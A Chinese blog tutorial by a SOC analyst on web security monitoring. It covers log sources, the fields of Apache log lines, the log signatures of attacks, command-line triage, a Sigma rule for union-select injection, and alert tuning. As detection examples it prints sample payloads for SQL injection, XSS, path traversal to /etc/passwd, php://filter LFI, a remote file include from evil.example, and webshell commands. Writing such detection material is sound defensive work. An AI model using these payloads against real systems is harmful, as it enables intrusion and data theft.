ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Web安全监控实战:从SOC日志分析到攻击检测规则落地

Web安全监控实战:从SOC日志分析到攻击检测规则落地 做SOC值班这几年我有个很深的感受日常收到的告警里八成以上都绕不开Web层面。前两天带新同事刷TryHackMe的SOC Level 1路径正好走到了Section 8主题就是Web安全监控。这个模块在课程里算是有意思的一段因为它既不像纯理论那样枯燥也不像流量分析那样需要太多底层协议基础它靠的是一套“看得懂日志、认得出手法、跟得上攻击链”的实操敏感度。但我也发现一个问题很多同学把这一节当成了“刷题目”日志翻一翻填完答案提交就算过了结果真正到了值班场景对着一个攻击告警还是不知道从哪里下手。所以这篇帖子我不想复述课程里有什么题而是把Web安全监控从TryHackMe平台挪到真实值班台上讲清楚攻击日志长什么样、怎么快速定位、怎么判断是不是误报以及怎么把一次排查沉淀成可复用的检测规则。这篇内容适合谁看一是正在刷TryHackMe SOC路径、刚学到Section 8的学习者二是已经进入安全运营或蓝队岗位、需要补Web告警分析经验的新人三是带新人想找一套实操讲解思路的师傅。我会尽量用值班视角去讲很多东西不是课程里直接有的但都是我实践里踩过坑后回头补上的细节。1. Web安全监控在SOC里到底是什么位置1.1 先理清概念SOC、检测链路和Section 8的定位先说个容易被忽略的点TryHackMe的SOC Level 1培养的不是“漏洞研究者”而是安全运营中心的一线分析师。一线分析师的核心任务不是去挖掘0day也不是写长篇渗透报告而是盯住“监控-检测-响应”这条链路再具体一点就是解决三个问题现在发生了什么、这是不是攻击、我该怎么做。Section 8里的Web安全监控解决的正是前两个问题。到了真实SOCWeb安全监控是检测链中覆盖面最大的一环。现代企业几乎把业务都搬到了Web应用上从官网、H5商城、内部OA到API网关全部跑在HTTP/HTTPS协议上。攻击者也清楚这一点OWASP Top 10列出来的SQL注入、XSS、SSRF、文件上传漏洞全都是冲着Web应用来的。所以一个SOC分析师如果看不懂Web日志里的异常模式基本等于在一线值班时丧失了大部分视野。从检测链路来看Web安全监控在SOC里的位置大致是这样的数据源Web服务器日志、WAF日志、代理日志、云访问日志→ 日志采集与解析 → 检测规则和告警 → 分析师研判 → 响应处置。TryHackMe的Section 8主要训练的是中间偏前的部分也就是“面对一堆日志如何通过特征发现问题”。但到了真实场景你必须把这条链路完整跑通尤其是后面那两步“研判和处置”才是区分熟手和新手的分水岭。1.2 日志来源清单Web监控到底在监控什么很多初学者以为Web安全监控就是看Apache或Nginx的access log其实这只是最基础的一层。真实环境里Web流量会经过大量中间环节每一层都可能留下不同格式的日志而一个攻击行为往往需要把多层日志串起来才能看清全貌。我在值班时通常会把Web监控的数据源分成四类Web服务器访问日志Apache的access log、Nginx的access log、IIS的W3C日志。这是最原始、最底层的记录能看到客户端IP、请求方法、URI、状态码、User-Agent、Referer等信息。攻击者直接打Web应用时这里会留下最直接的痕迹。WAF日志ModSecurity、云WAF、F5 ASM等安全设备的日志。WAF日志通常会带上规则ID、拦截动作、攻击类型标签是快速判断攻击类型的好帮手。但要注意WAF日志只能证明“发生了什么”不能证明“攻击是否成功”不能看到漏洞是不是真的被利用了。代理与网关日志企业出口代理、Nginx反向代理、API网关日志。这类日志的价值在于能看到内外网流量走向尤其是内网用户访问外部的Web站点时代理日志可以捕捉到C2回调、钓鱼站点访问等异常行为。云平台访问日志如果业务跑在云端还有SLB/WAF/CDN的访问日志。这类日志字段通常更丰富包含请求ID、边缘节点信息、客户端真实IP等对溯源很有用。我在TruyHackMe的Section 8里看到题目给出的日志大多还是传统的Apache/Nginx格式但建议你在脑子里把这些日志扩展到真实环境不要只盯着一种格式。因为到了实际值班你手里的告警可能是从云WAF拉过来的也可能是从代理日志里报出来的如果只习惯看某一种格式换个数据源就容易懵。1.3 日志字段速成你几乎每天都会对着这串文本发呆既然要聊Web日志分析就得先把最常遇到的日志格式拆开揉碎。Apache和Nginx默认访问日志都遵循Combined Log Format一行的典型长相是这样的192.168.1.100 - - [17/Nov/2024:13:02:11 0800] GET /product.php?id1%20and%2011 HTTP/1.1 200 5840 http://example.com/ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36拆开来看每个字段都有它的用途远程IP发起请求的客户端地址。注意这里的IP可能是攻击者真实IP也可能是代理、CDN节点的IP不能直接当作结论。时间戳请求发生的时间。包含时区信息0800分析时一定要统一时区否则跨日志关联时很容易对不上。请求行方法、URI和协议版本。这一整段是整个日志里最核心的部分攻击特征大部分都藏在这里。状态码200不代表没攻击403/500也不代表攻击者失败了要结合上下文判断。Referer请求来源页面。有时候可以看到攻击者通过某个站内URL触发注入Referer会暴露入口点。User-Agent客户端标识。自动化攻击工具sqlmap、nikto、masscan等的UA通常和正常浏览器有明显区别但老练的攻击者会伪造UA所以这只能作为辅助判断依据。表格整理一下常用字段和判断思路字段常见值示例分析价值远程IP203.0.113.5定位攻击源但要考虑代理和CDN请求方法GET、POST、PUTPOST通常用于数据提交攻击载荷可能藏在请求体里请求URI/product.php?id1 union select--攻击特征的主要载体状态码200、403、404、500判断攻击是否命中有效点User-Agentsqlmap/1.7.2#stable识别自动化工具但不绝对Refererhttps://example.com/梳理攻击入口和跳转链路请求体usernameadmin or 11真实攻击payload日志里不一定记录这里尤其想说一点很多日志分析教程会反复强调状态码但我更建议把注意力集中在请求URI和请求体上。状态码只能说明服务端返回了什么但攻击者真正关心的是“你后端的响应里有没有回显数据库信息”而判断这一点往往要靠响应日志或WAF日志不能只看access log里的状态码。2. 常见Web攻击的日志指纹攻击者在日志里留下的痕迹2.1 SQL注入和XSS别只看状态码Section 8里会带你分析一些典型的Web攻击日志其中SQL注入和XSS是最基础也最常考的两类。在真实值班中这两种攻击的日志特征其实非常明显只要你建立“参数值异常敏锐度”大概率一眼就能扫出来。SQL注入在access log里的核心特征是某个参数的值出现了SQL语法片段或编码后的SQL关键字。常见的有单引号、注释符--、#、union select、sleep函数、报错注入的updatexml/extractvalue等。举几个真实日志中的例子GET /product.php?id1 AND SLEEP(5)-- HTTP/1.1 GET /search.php?keyword1%27%20union%20select%201,2,3-- HTTP/1.1 GET /login.php?useradmin/*pass123 HTTP/1.1这些看起来都很“假”确实真正老练的攻击者会尽量把payload编码、拆分成多段让单个日志行看起来不那么扎眼。但即便做了编码日志里也会留下特征一个原本应该放数字或短字符串的参数突然变成了一长串URL编码或者混合特殊字符的字符串这本身就值得怀疑。XSS在日志里的特征和SQL注入不同它更看重“输出型检测”。虽然XSS的真正利用发生在浏览器端但访问日志里的请求参数往往会出现GET /comment.php?msgscriptalert(document.cookie)/script HTTP/1.1 GET /search.php?q%3Cimg%20srcx%20onerroralert(1)%3E HTTP/1.1这里要注意很多企业的WAF规则会对script、onerror这类关键字产生告警但如果攻击者做了HTML实体编码、Unicode编码、或者利用DOM型XSS纯看access log可能看不出来。这时候需要结合WAF日志和前端采集的异常脚本来综合判断。从我自己的经验看处理SQL注入/XSS告警时第一件事不是直接拉黑IP而是先确认这个请求到底有没有打到真实参数上。很多扫描器会对着全站所有参数发起批量探测状态码会返回一堆404或500这种多半是无差别扫描危害有限但如果请求打到了登录接口、搜索接口这类真实业务入口并且响应码是200那就必须认真看响应体里有没有回显异常。2.2 路径穿越、文件包含和命令注入URL参数里的猫腻除了注入类攻击路径穿越Path Traversal、文件包含LFI/RFI和命令注入Command Injection也是Web监控里的高频告警。这三类攻击有个共同点它们都在试探Web应用的文件系统或底层命令执行能力。路径穿越的典型特征是URL里出现../的变体比如GET /download.php?file../../../../etc/passwd HTTP/1.1 GET /static%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1如果只盯着../你会漏掉很多绕过方式。实际攻击者会用..;/Tomcat路径参数、%2e%2e%2f点号编码、....//双层斜杠等变体这些在日志里的表现是“URI中包含连续的点或斜杠的编码序列”。我值班时看到大量404后跟着一个200的路径穿越尝试通常会在告警描述里标注“疑似路径穿越系列扫描”但如果后面的请求读到了/etc/passwd并且返回200那就是高危事件必须立刻阻断并溯源。文件包含和路径穿越有点像但危害方向不同。LFI常见特征是参数值带上了php://filter、/etc/passwd、php://input等流协议RFI则会出现http://、https://开头的远程地址。日志样本大概是GET /index.php?pagephp://filter/readconvert.base64-encode/resourceconfig.php HTTP/1.1 GET /index.php?pagehttp://evil.example/shell.txt HTTP/1.1这两类日志一旦出现基本上可以直接判定为攻击尤其是RFI攻击者试图让服务器去加载远程恶意文件后续很容易演变为webshell上传和命令执行。命令注入在access log里的表现更直接因为你需要把命令拼到参数里。常见的特征包括分号、管道符、反引号、$()、%0a换行符以及| id、; whoami、 cat /etc/passwd这样的明文命令片段。看到这类日志我的第一反应是极其紧张因为如果目标系统存在命令注入漏洞攻击者几乎已经拿到了RCE远程代码执行的先手处置优先级非常高。2.3 Webshell上传、扫描器、敏感文件探测老套但依然有效Web安全监控里还有一大类常见告警是围绕文件上传和敏感文件探测的。Webshell上传在日志里的频率其实没有想象中那么高但如果发生了往往直接关系着服务器是否被控。Webshell上传的日志特征有几个请求方法是POSTURI指向上传接口upload.php、api/v1/file/upload而且通常不是正常业务流量。请求体里出现了文件名带.php、.jsp、.aspx、.phtml等后缀或者文件名里夹杂了.php.jpg这类双后缀绕过。响应码可能是200也可能是302跳转攻击者上传后往往会紧接着发起一个访问webshell路径的GET请求。这个“上传后立即访问”的行为链是非常关键的检测点。敏感文件探测也很常见攻击者会去访问/.git/config、/.env、/backup.zip、/WEB-INF/web.xml、/wp-config.php.bak等路径。这类日志的特点是企业正常业务里几乎不会有人访问这些路径一旦出现大概率就是有人在踩点。虽然单个请求看起来就是404但如果配合扫描器的批量UA特征或者短时间内大量不同路径的探测就值得拉高关注。我把这些攻击类型的日志特征整理成了一张速查表方便值班时对照攻击类型典型日志特征建议处置优先级SQL注入参数含单引号、union select、sleep、报错函数高XSS参数含script标签、事件属性、编码变体中路径穿越URI含../、..;、编码点号斜杠高文件包含LFI/RFI参数含php://、http://远程地址高命令注入参数含;、|、、$()、系统命令极高Webshell上传上传接口POST 脚本文件后缀极高敏感文件探测访问.git、.env、备份文件路径中扫描器行为高频批量请求、异常UA低-中实际值班时优先级最高的永远是命令注入和Webshell上传这类可能导致直接控制权的攻击行为其次是SQL注入和文件包含因为它们最容易拖出敏感数据而XSS和扫描器行为虽然量最大但大部分时候需要结合业务上下文才能定性。3. 手把手实操从TryHackMe Section 8场景到本地日志分析3.1 环境准备用虚拟机搭一个可复现的分析环境如果你想把TryHackMe Section 8里的分析思路搬到自己电脑上反复练完全可以搭一个本地环境。不需要多高的配置一台8GB内存的虚拟机就够了。我的建议是装一个Ubuntu Server然后在上面部署一个简单的LAMP环境自己造一些“攻击日志”。这样做的好处是你可以完全控制日志内容想生成什么攻击特征就生成什么特征练熟了再去分析真实日志手感会好很多。具体步骤大致是在VMware或VirtualBox里安装Ubuntu Server 22.04网络模式建议NAT。安装Apache和PHPsudo apt install apache2 php libapache2-mod-php -y。在/var/www/html下创建一个简单的PHP页面包含一个带id参数的查询用于测试SQL注入日志。用curl模拟各类攻击请求curl http://localhost/product.php?id1%27%20union%20select%201,2,3--。在/var/log/apache2/access.log里查看生成的日志。如果你还想练WAF日志可以顺手装一个ModSecurity这也是企业里最常见的一类开源WAF。配置过程会有点折腾但配置好之后你就能看到同一攻击同时在Apache access log和ModSecurity audit log里出现的场景这对理解“多层日志关联”非常有帮助。3.2 第一轮排查用grep/awk/jq把日志“读”出来到了真实值班台你手里的分析工具可能是一套SIEMSplunk、Elasticsearch也可能只有一个Linux终端。但无论用哪种工具底层思路都一样先筛选再聚焦然后精读。我习惯用命令行做快速验证因为SIEM界面有时候点来点去反而不如一条命令来得直接。第一步是看整体情况。如果告警中心报了一个攻击IP你可以先用grep把这个IP的所有访问记录拉出来grep 203.0.113.5 /var/log/apache2/access.log | less这一步的目的是搞清楚攻击者的行为模式他是在短时间内冲了一波还是每天固定时间小规模试探他访问了哪些路径状态码分布如何第二步是聚焦异常请求。如果怀疑是SQL注入可以按特征筛选grep -E union.*select|sleep\(|extractvalue|updatexml /var/log/apache2/access.log如果日志量大到grep跑不动用awk按字段切割再过滤会更高效。比如只看请求行里包含“union”的awk $6 ~ /union/ {print $1, $4, $6, $7, $9} /var/log/apache2/access.log第三步是统计和聚类。攻击者的请求不是一条条零散出现的大多是脚本化的批量请求所以统计时间窗口内的请求数很有意义。用awk按分钟统计某个IP的请求频率awk $1203.0.113.5 {print $4} /var/log/apache2/access.log | cut -d: -f1-2 | uniq -c这个命令会把IP的请求按“小时:分钟”聚合一眼就能看出是否存在短时间内高频请求的扫描特征。如果是JSON格式的云端日志比如阿里云SLB或腾讯云WAF的日志用jq处理会很顺手。比如提取所有状态码为200的请求cat slb_log.json | jq select(.status 200) | {client_ip, uri, user_agent}3.3 第二轮关联从单条攻击到攻击链把事件串起来单条日志只能告诉你“有人尝试了什么”但只有把多条日志串起来才能还原“攻击者到底干了什么”。我在分析TryHackMe Section 8里的题目时也发现很多攻击不是孤独的单个请求而是一套有先后顺序的流程。最常见的攻击链是扫描探测→漏洞利用→上传后门→连接远控。对应到日志里你会看到这样的时间线10:01:02 GET /admin/login.php 10:01:05 POST /admin/login.php (可能尝试弱口令) 10:01:09 GET /admin/upload.php 10:01:15 POST /admin/upload.php (上传shell.php) 10:01:18 GET /uploads/shell.php?cmdid 10:01:22 GET /uploads/shell.php?cmdwhoami这段日志如果拆开看每条请求都只是“试探”但一旦你在时间轴上把它们连起来整个攻击意图就非常清晰了。我在值班时会在SIEM里用时间窗口同一个源IP相关URI模式做关联查询把5分钟内所有同一源IP的请求拉出来按时间排序。在Linux命令行里等效的做法是grep 203.0.113.5 /var/log/apache2/access.log | awk {print $4, $6, $7, $9, $1} | sort把IP、时间、方法、URI、状态码压缩成一行再排序视觉上就能直接看到一条时间线。很多攻击者对时间敏感比如SQL盲注的sleep函数会让每个请求间隔变长从时间线上也能看出来。还有一个容易被忽略的关联维度是Referer字段。攻击者如果通过某个站内页面触发攻击Referer会指向那个页面如果攻击者用自动化工具扫描Referer可能会缺失或指向攻击者自己的设备地址。通过Referer把入口端找出来有助于后续修复漏洞时定位问题源头。4. 从分析到检测把经验固化成规则和告警4.1 选择规则引擎Sigma、Suricata、Splunk/ELK查询很多人在TryHackMe上做完日志分析就结束了但真正的SOC工作里分析完一个攻击事件之后你还要考虑一个问题怎么让下一次同样的攻击不再需要人工肉眼看日志答案就是写检测规则。规则引擎有很多种我按实战频率排序讲一下Sigma规则如果你用的是SIEM比如Splunk或ElasticsearchSigma是最好用的跨平台规则格式。它用统一的YAML描述“什么日志字段匹配什么内容”然后转换成各种SIEM查询语言。Sigma在线社区维护了大量现成Web攻击检测规则直接借来改改就能用。Suricata规则如果你负责的是网络层检测比如在出口或服务器前端部署IDS/IPSSuricata规则是主流。它的检测语法接近Snort可以匹配HTTP头部、URI、请求体、状态码等字段。SIEM内置查询在Splunk里就是SPL在ELK里就是Lucene查询语法。这类规则和SIEM平台绑定但胜在部署简单、响应快特别适合给一个具体告警快速加一条临时规则。选型时我的建议是先看团队现有的基础设施。如果已经有SIEM优先用SIEM内置查询或Sigma因为可以立刻产生告警如果是新建检测项目直接上Sigma会让规则更容易迁移。4.2 规则编写示例从日志特征到可落地的Sigma规则拿前面提到的SQL注入检测来举例。假设你决定用Sigma规则检测Apache access log中的union select注入尝试可以这样写一份规则title: Apache Access Log - SQL Union Select Attempt id: 7c8e6b9d-2a3f-4b5c-9d0e-1f2a3b4c5d6e status: test description: Detects union select SQL injection attempts in Apache access logs logsource: product: apache category: access_log detection: selection: cs-uri-query|contains: - union select - union%20select - unionselect - UNION ALL SELECT condition: selection level: high falsepositives: - Legitimate spelling of union select in search queries (rare) - Security scans fields: - c-ip - cs-uri-query - sc-status - time这里面有几个细节值得注意cs-uri-query对应的是访问日志里的URI查询部分在Sigma的Apache access_log映射里是标准字段。如果你接的日志字段名不同需要先做字段映射。我故意写了大小写变体和URL编码变体因为攻击者会换着花样绕过。falsepositives字段必须写清楚否则后续排误报时你会一头雾水。level我标成high而不是critical因为SQL注入尝试并不一定成功等级写太高会把告警疲劳问题搞得更严重。写完规则之后一定要拿历史日志回放验证一下。Sigma有个工具叫sigmac可以把规则转换成Splunk/Elasticsearch查询然后你再到SIEM里跑一遍看看有没有命中你已知的攻击样本有没有误报正常业务。没有经过历史数据验证的规则我不建议直接上线。4.3 告警阈值、SLA与值班流程如何不被海量告警淹没规则上线之后最让人头疼的问题就是告警量。网络安全这个行业有个经典笑话“规则写得越多值班越累。”原因很简单每种攻击手法都能写成一个规则但如果不加阈值控制扫描器的一次批量扫描就能刷出几万条告警。我对告警阈值和处置流程的建议是单条规则单个IP的“请求次数”阈值比如5分钟内相同源IP命中同一规则超过50次只产生一条聚合告警而不是50条。Splunk和ELK都支持这种alert grouping不会写的话可以让告警逻辑在规则引擎里做。区分“尝试”和“成功”状态码200请求体含攻击特征优先升级为high状态码404/403且无业务影响标记为low并降噪。这里要注意200不代表漏洞利用成功但至少说明后端把请求处理了值得人工看一眼。定义SLAcritical告警15分钟内响应并开始处置high告警30分钟内响应medium告警4小时内确认。没有SLA告警再多也只是一堆数字值班人员的行动会变得没有节奏。值班流程上我习惯把Web告警分成三类真攻击确实构成威胁、误报业务正常行为像攻击、扫描器行为无差别批量探测。真攻击走应急响应流程误报直接标记并调规则扫描器行为在确认没有命中漏洞后可以采取临时封禁或丢到威胁情报库处理不用每次都惊动整个安全团队。5. 实战中踩过的坑和排查技巧5.1 日志缺失与字段不完整最常见的“假正经”问题我最早值班时拿到一份Web告警打开日志一看发现关键字段全没有。请求方法是有的URI是有的但请求体是空的Source IP被代理IP覆盖了User-Agent显示为-时间字段还是UTC和告警系统里显示的北京时间差着8个小时。这种日志分析起来非常痛苦。后来我总结出一套排查“日志问题”的思路按优先级处理先问日志采集配置access log的格式里有没有%b响应体大小有没有%{X-Forwarded-For}i如果反向代理没配置把原始IP传过来你看到的每个攻击都像是从代理IP发起的溯源直接卡住。检查请求体是否被记录Apache默认的access log不记录POST请求体只有开启mod_dumpio或者用WAF日志才能看到请求体里的payload。所以在分析POST型SQL注入时如果access log里看不到payload不要急着下结论先去翻WAF的audit log。确认日志是否经过字段归一化很多SIEM在采集日志时会重命名字段比如把Apache的%r解析成request把%s解析成status。不同数据源的字段名不一致关联分析时特别容易踩坑。我建议在SIEM里先跑一遍已知日志样本确认字段映射没问题再写分析查询。5.2 时区、编码与URL解码看着像攻击其实是个大坑时区问题是Web日志分析里最容易阴人的地方。Apache的access log默认用服务器本地时间或UTC取决于配置。如果你在SIEM里按北京时间搜某个时间段的告警而日志存的是UTC时间那么你会漏掉整整8个小时的请求。建议在写检测规则和查询时统一把时间字段转换成UTC8或者至少在查询和展示层明确标注时区。URL解码是另一个高频坑。access log里保存的URI是原始请求还是解码后的形式取决于服务器配置。比如GET /search.php?q%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1有些SIEM在解析日志时会把URI解码成可读形式有些不会。如果你把规则写成匹配script而日志里保存的是%3Cscript%3E那这条查询根本不会命中。反之如果你直接匹配%3Cscript%3E可能会被各种合法编码干扰。稳妥的做法是在规则里同时覆盖URL编码变体和明文特征或者确保数据接入层统一做了URL解码再进入检测状态。我遇到过一个特别典型的案例某个业务的搜索接口允许用户输入关键词有人搜了C这个请求在URI里被编码成C%2B%2B。结果某条检测命令注入的规则把当成了命令拼接符报了一条“疑似命令注入”的高危告警。后来核实发现是正常用户在搜索编程语言。这种误报很常见处理多了之后我对任何带编码的告警都会先做一次URL解码再到业务上下文里判断。5.3 误报调优和告警疲劳一线SOC真正的日常最后聊一个很多新手没意识到的问题告警疲劳。TryHackMe的题目里日志是精心挑选的每条日志基本都有明确结论。但真实环境里大量告警是扫描器行为、业务爬虫、同事调试代码时触发的“伪攻击”。如果每一条都投入100%精力去追不出两周你就会对所有告警麻木真正的高危告警反而被淹没了。我对告警疲劳的应对经验总结下来就三条规则分层别一刀切把检测规则按攻击类型和危害度分成三层。第一层是“命令注入、Webshell上传”等高危行为直接触发critical第二层是“SQL注入、路径穿越”等可疑行为触发high并聚合第三层是“敏感文件探测、可疑UA”等低危行为只记录不告警每天做一次日报即可。这样值班人员能在有限的精力里优先处理真正危险的事件。建立误报反馈闭环每次误报不能只标记“误报”就完事而是要把误报案例归类反馈给规则维护者。比如“业务爬虫UA导致误报”这类问题解决方法是在规则里把业务UA加进白名单“搜索C触发命令注入误报”则要调整规则去掉纯符号类关键字的盲目匹配。这个闭环跑三个月告警质量会有质的提升。定期用历史数据回放规则我每个月都会拿上个月的历史告警数据把新写的规则回放一遍看看能不能命中已知攻击会不会产生新的误报。这个过程很枯燥但能让规则越来越干净。说到最后还是想提一嘴TryHackMe的Section 8。这个模块设计的题目对你建立Web安全监控的基础意识很有帮助但它终究是一个教学环境日志干净、场景明确、结论唯一。真实SOC的Web安全监控天天和残缺日志、误报、时区偏移、业务混淆斗智斗勇。我自己带新人时一直让他们先把Section 8做透然后再拿一个月真实脱敏日志练手两轮下来才算基本过关。如果你也在刷这个路径建议你在做题之外一定多问自己一个问题这条日志如果出现在生产环境我会怎么从零开始查能答出这个问题你才算是真正把这一节学明白了。
返回列表